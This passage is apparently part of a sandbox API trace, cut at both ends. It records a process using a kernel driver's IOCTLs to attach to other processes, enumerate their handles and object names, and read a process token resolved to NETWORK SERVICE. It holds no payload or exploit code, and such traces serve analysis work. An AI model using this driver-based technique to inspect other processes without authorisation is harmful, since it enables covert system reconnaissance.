(Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.351] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.351] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.351] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.351] PsAcquireProcessExitSynchronization () returned 0x0 [0104.351] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.351] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.351] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.351] PsReleaseProcessExitSynchronization () returned 0x2 [0104.351] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.351] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.351] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.351] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.351] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.351] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.351] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.351] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.351] PsAcquireProcessExitSynchronization () returned 0x0 [0104.351] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.351] ObReferenceObjectByHandle (in: Handle=0x39c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800346fbf0, HandleInformation=0x0) returned 0x0 [0104.351] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.351] PsReleaseProcessExitSynchronization () returned 0x2 [0104.351] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.351] ObQueryNameString (in: Object=0xfffffa800346fbf0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.352] ObfDereferenceObject (Object=0xfffffa800346fbf0) returned 0x1 [0104.352] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.352] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.352] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x218) returned 0xc0 [0104.352] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.352] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80031c1b30, HandleInformation=0x0) returned 0x0 [0104.352] ObOpenObjectByPointer (in: Object=0xfffffa80031c1b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000874) returned 0x0 [0104.352] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb8 [0104.352] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000874, DesiredAccess=0x8, TokenHandle=0xfffffa8003718880 | out: TokenHandle=0xfffffa8003718880*=0xc8) returned 0x0 [0104.352] ZwClose (Handle=0xffffffff80000874) returned 0x0 [0104.352] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.352] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.352] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.459] CloseHandle (hObject=0xc8) returned 1 [0104.459] CloseHandle (hObject=0xc0) returned 1 [0104.459] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.459] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.459] PsAcquireProcessExitSynchronization () returned 0x0 [0104.459] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.459] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031d7b30, HandleInformation=0x0) returned 0x0 [0104.459] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.459] PsReleaseProcessExitSynchronization () returned 0x2 [0104.459] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.459] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.459] ObfDereferenceObject (Object=0xfffffa80031d7b30) returned 0x1 [0104.459] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.459] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.459] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.459] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.459] PsAcquireProcessExitSynchronization () returned 0x0 [0104.459] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.459] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031e1220, HandleInformation=0x0) returned 0x0 [0104.459] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.459] PsReleaseProcessExitSynchronization () returned 0x2 [0104.459] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.459] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.459] ObfDereferenceObject (Object=0xfffffa80031e1220) returned 0x1 [0104.459] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.460] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.460] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.460] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.460] PsAcquireProcessExitSynchronization () returned 0x0 [0104.460] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.460] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f68480, HandleInformation=0x0) returned 0x0 [0104.460] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.460] PsReleaseProcessExitSynchronization () returned 0x2 [0104.460] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.460] ObQueryNameString (in: Object=0xfffffa8002f68480, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.460] ObfDereferenceObject (Object=0xfffffa8002f68480) returned 0x3 [0104.460] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.460] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.460] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x72, lpOverlapped=0x0) returned 1 [0104.460] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.460] PsAcquireProcessExitSynchronization () returned 0x0 [0104.460] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.460] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f66e70, HandleInformation=0x0) returned 0x0 [0104.460] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.460] PsReleaseProcessExitSynchronization () returned 0x2 [0104.460] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.460] ObQueryNameString (in: Object=0xfffffa8002f66e70, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.460] ObfDereferenceObject (Object=0xfffffa8002f66e70) returned 0x3 [0104.460] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.460] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.460] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.460] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.460] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.460] PsAcquireProcessExitSynchronization () returned 0x0 [0104.460] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.461] ObReferenceObjectByHandle (in: Handle=0x1b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002916070, HandleInformation=0x0) returned 0x0 [0104.461] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.461] PsReleaseProcessExitSynchronization () returned 0x2 [0104.461] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.461] ObQueryNameString (in: Object=0xfffffa8002916070, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.461] ObfDereferenceObject (Object=0xfffffa8002916070) returned 0x2 [0104.461] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.461] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.461] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.461] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.461] PsAcquireProcessExitSynchronization () returned 0x0 [0104.461] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.461] ObReferenceObjectByHandle (in: Handle=0x1e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003303810, HandleInformation=0x0) returned 0x0 [0104.461] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.461] PsReleaseProcessExitSynchronization () returned 0x2 [0104.461] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.461] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.461] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0104.461] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.461] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.461] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.461] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0104.461] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.461] PsAcquireProcessExitSynchronization () returned 0x0 [0104.461] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.461] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0104.461] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.462] PsReleaseProcessExitSynchronization () returned 0x2 [0104.462] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.462] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.462] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0104.462] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.462] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.462] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.462] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.462] PsAcquireProcessExitSynchronization () returned 0x0 [0104.462] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.462] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0104.462] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.462] PsReleaseProcessExitSynchronization () returned 0x2 [0104.462] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.462] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.462] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0104.462] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.462] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.462] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.462] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.462] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.462] PsAcquireProcessExitSynchronization () returned 0x0 [0104.462] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.462] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0104.462] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.462] PsReleaseProcessExitSynchronization () returned 0x2 [0104.462] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.462] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.462] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0104.462] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.463] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.463] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.463] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.463] PsAcquireProcessExitSynchronization () returned 0x0 [0104.463] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.463] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003305ac0, HandleInformation=0x0) returned 0x0 [0104.463] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.463] PsReleaseProcessExitSynchronization () returned 0x2 [0104.463] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.463] ObQueryNameString (in: Object=0xfffffa8003305ac0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.463] ObfDereferenceObject (Object=0xfffffa8003305ac0) returned 0x2 [0104.463] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.463] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.463] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.463] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.463] PsAcquireProcessExitSynchronization () returned 0x0 [0104.463] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.463] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0104.463] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.463] PsReleaseProcessExitSynchronization () returned 0x2 [0104.463] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.463] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.463] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0104.463] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.463] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.463] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.463] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.464] PsAcquireProcessExitSynchronization () returned 0x0 [0104.464] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff88004f095d0) [0104.464] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0104.464] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.464] PsReleaseProcessExitSynchronization () returned 0x2 [0104.464] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xb6 [0104.464] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.464] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0104.464] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.464] HeapFree (in: hHeap=0x180000, 